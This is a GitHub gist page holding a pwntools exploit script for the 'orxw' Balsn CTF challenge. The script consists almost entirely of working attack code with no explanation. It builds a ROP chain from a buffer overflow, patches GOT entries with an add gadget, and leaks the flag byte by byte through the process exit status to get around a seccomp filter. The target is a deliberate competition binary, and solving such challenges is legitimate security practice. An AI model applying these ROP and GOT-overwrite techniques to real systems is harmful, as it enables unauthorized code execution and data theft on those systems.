Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# this exploit was generated via
# 1) pwntools
# 2) ctfinit
import os
import time
import pwn
# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF('./orxw')
libc = pwn.ELF("./libc.so.6")
pwn.context.terminal = ["alacritty", "--title", "CTFMate", "-e"]
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
host = pwn.args.HOST or 'orxw.balsnctf.com'
port = int(pwn.args.PORT or 19091)
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if pwn.args.GDB:
return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return pwn.process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = pwn.connect(host, port)
if pwn.args.GDB:
pwn.gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if pwn.args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
gdbscript = '''
# set follow-fork-mode parent
# break *0x4014F1
break *0x401506
continue
'''.format(**locals())
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
def GetOffsetStdin():
log_level = pwn.context.log_level
pwn.context.log_level = 'critical'
p = pwn.process(exe.path)
p.sendline(pwn.cyclic(512))
p.wait()
time.sleep(2)
core = p.corefile
fault = core.fault_addr
ofst = pwn.cyclic_find(fault & 0xffffffff)
p.close()
pwn.context.log_level = log_level
return ofst
def GetOffsetArgv():
log_level = pwn.context.log_level
pwn.context.log_level = 'critical'
p = pwn.process([exe.path, pwn.cyclic(512)])
p.wait()
time.sleep(2)
core = p.corefile
fault = core.fault_addr
ofst = pwn.cyclic_find(fault & 0xffffffff)
p.close()
pwn.context.log_level = log_level
return ofst
# 0x000000000040156c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040156e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000401570 : pop r14 ; pop r15 ; ret
# 0x0000000000401572 : pop r15 ; ret
# 0x000000000040156b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040156f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x000000000040125d : pop rbp ; ret
# 0x0000000000401573 : pop rdi ; ret
# 0x0000000000401571 : pop rsi ; pop r15 ; ret
# 0x000000000040156d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040101a : ret
# 0x000000000040125c : add dword [rbp-0x3D], ebx ; nop ; ret
# 0x000000000040156a : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ;
# 0x000000000012016a : mov rax, qword ptr [rax + 8] ; ret
# 0x000000000004fad1 : mov ebx, dword ptr [rdx - 0x7cb80000] ; ret
# 0x0000000000162866 : pop rdx ; pop rbx ; ret
# 0x00000000000e1414 : mov rax, qword ptr [rdi + 0x20] ; ret
# 0x000000000004d360 : xchg eax, ebp ; ret
# 0x00000000000331ff : pop rbx ; ret
# 0x0000000000122294 : mov edi, eax ; mov eax, 0x3c ; syscall
'''
puts : 5a0 -- a0 55 50 57 4a 7f
read : 130 -- 30 b1 36 cd 12 7f
'''
offset = 24
POP_RDI = 0x401573
POP_RSI = 0x401571
POP_RSP = 0x40156d
RET_GDT = POP_RDI+1
BSS_ADR = 0x404090
ADD_VAL = 0x40125c
POP_RBP = 0x40156f
POP_RPX = 0x40156a
CALL_XX = 0x401550
STATUSG = 0x40408C
X_AX_BP = 0x04d360
M_AX_DI = 0x0e1414
POPRBX2 = 0x0331ff
EXITGDT = 0x122294
'''
.text:0000000000401550 mov rdx, r14
.text:0000000000401553 mov rsi, r13
.text:0000000000401556 mov edi, r12d
.text:0000000000401559 call ds:(__frame_dummy_init_array_entry - 403E00h)[r15+rbx*8]
.text:000000000040155D add rbx, 1
.text:0000000000401561 cmp rbp, rbx
.text:0000000000401564 jnz short loc_401550
.text:0000000000401566
.text:0000000000401566 loc_401566: ; CODE XREF: __libc_csu_init+35↑j
.text:0000000000401566 add rsp, 8
.text:000000000040156A pop rbx
.text:000000000040156B pop rbp
.text:000000000040156C pop r12
.text:000000000040156E pop r13
.text:0000000000401570 pop r14
.text:0000000000401572 pop r15
.text:0000000000401574 retn
'''
def give_exploit_for_index(index):
stage_1 = pwn.cyclic(offset)
# mov status in either rbp or rbx
# if not zero then we call write(1, flag, 100)
# if zero simply return
# ffef1fe8
# setup xchg eax, ebp; ret
stage_1 += pwn.p64(POP_RPX)
stage_1 += pwn.p64((X_AX_BP - libc.symbols['fork']) & 0xffffffff) + pwn.p64(exe.got['fork'] + 0x3d) + pwn.p64(0) * 4
stage_1 += pwn.p64(ADD_VAL)
# setup mov rax, qword ptr [rdi + 0x20] ; ret
stage_1 += pwn.p64(POP_RPX)
stage_1 += pwn.p64((M_AX_DI - libc.symbols['setbuf']) & 0xffffffff) + pwn.p64(exe.got['setbuf'] + 0x3d) + pwn.p64(0) * 4
stage_1 += pwn.p64(ADD_VAL)
stage_1 += pwn.p64(POP_RPX)
stage_1 += pwn.p64((POPRBX2 - libc.symbols['read']) & 0xffffffff) + pwn.p64(exe.got['read'] + 0x3d) + pwn.p64(0) * 4
stage_1 += pwn.p64(ADD_VAL)
stage_1 += pwn.p64(POP_RDI)
stage_1 += pwn.p64(STATUSG - 0x20)
stage_1 += pwn.p64(exe.plt['read'])
stage_1 += pwn.p64(0)
stage_1 += pwn.p64(exe.plt['setbuf'])
stage_1 += pwn.p64(exe.plt['fork'])
# rbx = 0x4100
stage_1 += pwn.p64(POP_RPX + 2)
stage_1 += pwn.p64(STATUSG+1) # r12
stage_1 += pwn.p64(0) # r13
stage_1 += pwn.p64(0) # r14
stage_1 += pwn.p64(exe.got['puts']) # r15
stage_1 += pwn.p64(CALL_XX + 0x11)
# set seccomp_init -> open64
stage_1 += pwn.p64(0) * 7
stage_1 += pwn.p64(POP_RPX)
stage_1 += pwn.p64((libc.symbols['open64'] - libc.symbols['close']) & 0xffffffff) + pwn.p64(exe.got['close'] + 0x3d) + pwn.p64(0) * 4
stage_1 += pwn.p64(ADD_VAL)
stage_1 += pwn.p64(POP_RPX)
stage_1 += pwn.p64((libc.symbols['read'] - POPRBX2) & 0xffffffff) + pwn.p64(exe.got['read'] + 0x3d) + pwn.p64(0) * 4
stage_1 += pwn.p64(ADD_VAL)
stage_1 += pwn.p64(POP_RPX)
stage_1 += pwn.p64(pwn.u32(b"./fl")) + pwn.p64(BSS_ADR+0x3d) + pwn.p64(0) * 4
stage_1 += pwn.p64(ADD_VAL)
stage_1 += pwn.p64(POP_RPX)
stage_1 += pwn.p64(pwn.u32(b"ag\x00\x00")) + pwn.p64(BSS_ADR+4+0x3d) + pwn.p64(0) * 4
stage_1 += pwn.p64(ADD_VAL)
# open("./flag", 0);
stage_1 += pwn.p64(POP_RDI)
stage_1 += pwn.p64(BSS_ADR)
stage_1 += pwn.p64(POP_RSI)
stage_1 += pwn.p64(0) * 2
stage_1 += pwn.p64(exe.plt['close'])
# read(0, BSS_ADR+10, 200);
stage_1 += pwn.p64(POP_RPX)
stage_1 += pwn.p64(0)
stage_1 += pwn.p64(1)
stage_1 += pwn.p64(0) # rdi
stage_1 += pwn.p64(BSS_ADR + 10) # rsi
stage_1 += pwn.p64(200) # rdx
stage_1 += pwn.p64(exe.got['read']) # address to call
stage_1 += pwn.p64(CALL_XX)
stage_1 += pwn.p64(0) * 7
# read = exit gdt
stage_1 += pwn.p64(POP_RPX)
stage_1 += pwn.p64((EXITGDT - libc.symbols['read']) & 0xffffffff) + pwn.p64(exe.got['read'] + 0x3d) + pwn.p64(0) * 4
stage_1 += pwn.p64(ADD_VAL)
stage_1 += pwn.p64(POP_RDI)
stage_1 += pwn.p64(BSS_ADR+10+index - 0x20)
stage_1 += pwn.p64(exe.plt['setbuf'])
stage_1 += pwn.p64(exe.plt['read'])
stage_1 += pwn.p64(exe.plt['_exit'])
return stage_1
flag = b" "
with pwn.context.local(log_level='warn'), \
pwn.log.progress('Flag', level=pwn.logging.WARN) as flag_leak:
i = 0
while i != 41:
io = start()
io.sendlineafter(b"Can you defeat orxw?\n", give_exploit_for_index(i))
flag += io.recv()
flag_leak.status(flag.decode('latin1'))
i+=1
flag_leak.success(flag.decode('latin1'))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment